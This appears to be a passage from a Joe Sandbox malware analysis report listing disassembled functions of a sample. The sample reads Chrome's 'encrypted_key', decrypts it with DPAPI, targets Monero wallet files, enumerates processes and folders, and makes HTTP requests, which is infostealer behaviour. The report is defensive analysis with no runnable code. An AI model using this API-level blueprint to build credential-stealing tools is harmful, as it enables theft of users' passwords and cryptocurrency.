Part of subcall function 005E99C0: LocalFree.KERNEL32(005E148F), ref: 005E9A90
Part of subcall function 005E99C0: CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

Part of subcall function 005F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005E9D39

Part of subcall function 005E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9AEF
Part of subcall function 005E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,005E4EEE,00000000,?), ref: 005E9B01
Part of subcall function 005E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9B2A
Part of subcall function 005E9AC0: LocalFree.KERNEL32(?,?,?,?,005E4EEE,00000000,?), ref: 005E9B3F

Part of subcall function 005E9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005E9B84
Part of subcall function 005E9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 005E9BA3
Part of subcall function 005E9B60: LocalFree.KERNEL32(?), ref: 005E9BD3

Strings

DPAPI, xrefs: 005E9D89
"encrypted_key":", xrefs: 005E9D30
, xrefs: 005E9DC1

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 6ca1d80c0d89c3e3f57baae2a8b8c7d3692a879f5156761d113dcfb8897e28d8
Instruction ID: 17e7131b999a8e337d5c24c465fa8762e4e290cacd9a24671941d39d1c69b8d3
Opcode Fuzzy Hash: 6ca1d80c0d89c3e3f57baae2a8b8c7d3692a879f5156761d113dcfb8897e28d8
Instruction Fuzzy Hash: EE3141B5D1021DABCF08DFE5DD85AEFBBB8BF48304F144519EA45A7241E7349A04CBA1

Function 005F8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006005B7), ref: 005F86CA
Process32First.KERNEL32(?,00000128), ref: 005F86DE
Process32Next.KERNEL32(?,00000128), ref: 005F86F3

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

CloseHandle.KERNEL32(?), ref: 005F8761

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 1794622278f6d7be4e8183518d3dcd9ed1ba6714d99ccc4ca428476f0879211e
Instruction ID: d167e88d33cd35d7e4b52f1985ca53ffdd0617b01ac5bd8c60606f68c0cc70bb
Opcode Fuzzy Hash: 1794622278f6d7be4e8183518d3dcd9ed1ba6714d99ccc4ca428476f0879211e
Instruction Fuzzy Hash: 9B313EB190111DABCB24EB54CC45FFEBB78FF45740F1081A9A60DA61A0DB786A45CFA2

Function 005F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014090B0,?,0060110C,?,00000000,?,00601110,?,00000000,00600AEF), ref: 005F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 005F6AE8
CloseHandle.KERNEL32(00000000), ref: 005F6AF9
Sleep.KERNEL32(00001770), ref: 005F6B04
CloseHandle.KERNEL32(?,00000000,?,014090B0,?,0060110C,?,00000000,?,00601110,?,00000000,00600AEF), ref: 005F6B1A
ExitProcess.KERNEL32 ref: 005F6B22

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 9a8322d3521da019dcb2411dd857bb06f81512dbdf4779539cae18b8fd57b5e0
Instruction ID: 1ca50cb4de0ba6e2d6b2a79e958aab2d150a7dfcdc092e24f74d5ab97277c4ef
Opcode Fuzzy Hash: 9a8322d3521da019dcb2411dd857bb06f81512dbdf4779539cae18b8fd57b5e0
Instruction Fuzzy Hash: 1CF03470A4020EAFE720ABA09C0ABBE7E74FF14701F108914B753A21C1DBB85541DAA6

Function 005E47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

Strings

<, xrefs: 005E47C9

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 494b8f10b4cbc34de2ae8950238c8bf35966fe17cb24cda2d49d5a1775c7a9ab
Instruction ID: d46f078b5620b730c5d5fba07d4dc344ab5c974eb38e169bd2726017ba3c4599
Opcode Fuzzy Hash: 494b8f10b4cbc34de2ae8950238c8bf35966fe17cb24cda2d49d5a1775c7a9ab
Instruction Fuzzy Hash: 6F213EB1D00209ABDF14DFA5EC49ADE7B75FF44320F108625FA55A7291EB706A0ACB81

Function 005F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E6280: InternetOpenA.WININET(00600DFE,00000001,00000000,00000000,00000000), ref: 005E62E1
Part of subcall function 005E6280: StrCmpCA.SHLWAPI(?,01410AB0), ref: 005E6303
Part of subcall function 005E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E6335
Part of subcall function 005E6280: HttpOpenRequestA.WININET(00000000,GET,?,01410350,00000000,00000000,00400100,00000000), ref: 005E6385
Part of subcall function 005E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005E63BF
Part of subcall function 005E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005E63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005F5228

Strings

ERROR, xrefs: 005F5273
ERROR, xrefs: 005F521A

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9f70e631c66d8f1639f6baf99024e9b8c244140345d8bef5c9ff9a9b082b7238
Instruction ID: ea4a61f22ca0bd2861b335c8df4dbe5328fb301449c88483c71223ae66e30972
Opcode Fuzzy Hash: 9f70e631c66d8f1639f6baf99024e9b8c244140345d8bef5c9ff9a9b082b7238
Instruction Fuzzy Hash: 91110D7090014DA7CB18FB60DD5AAFD7B38BF90340F408554FA4A5B192EF786B0ACA92

Function 005F4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F4F7A
lstrcat.KERNEL32(?,00601070), ref: 005F4F97
lstrcat.KERNEL32(?,01409030), ref: 005F4FAB
lstrcat.KERNEL32(?,00601074), ref: 005F4FBD

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F492C
Part of subcall function 005F4910: FindFirstFileA.KERNEL32(?,?), ref: 005F4943

Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FDC), ref: 005F4971
Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FE0), ref: 005F4987
Part of subcall function 005F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 005F4B7D
Part of subcall function 005F4910: FindClose.KERNEL32(000000FF), ref: 005F4B92

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 8048f074dbed0e8fb81205d833683ac04e50a6bf7ceffde1a19aa990269a73e7
Instruction ID: 72f3c39dfffaa18bca419e5431fac1be84b12a6ed92b53fc30cf83cb5fb855df
Opcode Fuzzy Hash: 8048f074dbed0e8fb81205d833683ac04e50a6bf7ceffde1a19aa990269a73e7
Instruction Fuzzy Hash: 8F219B7690020967C768F7B0DD4AEFE373DBF94300F008555B69A961C1EEB496C98F92

Function 005F0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01408F90), ref: 005F079A
StrCmpCA.SHLWAPI(00000000,01408F30), ref: 005F0866
StrCmpCA.SHLWAPI(00000000,01408F10), ref: 005F099D

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 43b009cfa2385870623cd6424cff3e8bb04e89b2af678cd1a6fb96ae74cea3f4
Instruction ID: a6b186aef7c9fab209ac89839b72bb14ae431685a13e97e0064ae019775fbe37
Opcode Fuzzy Hash: 43b009cfa2385870623cd6424cff3e8bb04e89b2af678cd1a6fb96ae74cea3f4
Instruction Fuzzy Hash: E8919975A002499FCB28EF64D995EFD7BB5FFD4300F408519E90A8F295DB34AA05CB82

Function 005F0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01408F90), ref: 005F079A
StrCmpCA.SHLWAPI(00000000,01408F30), ref: 005F0866
StrCmpCA.SHLWAPI(00000000,01408F10), ref: 005F099D

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
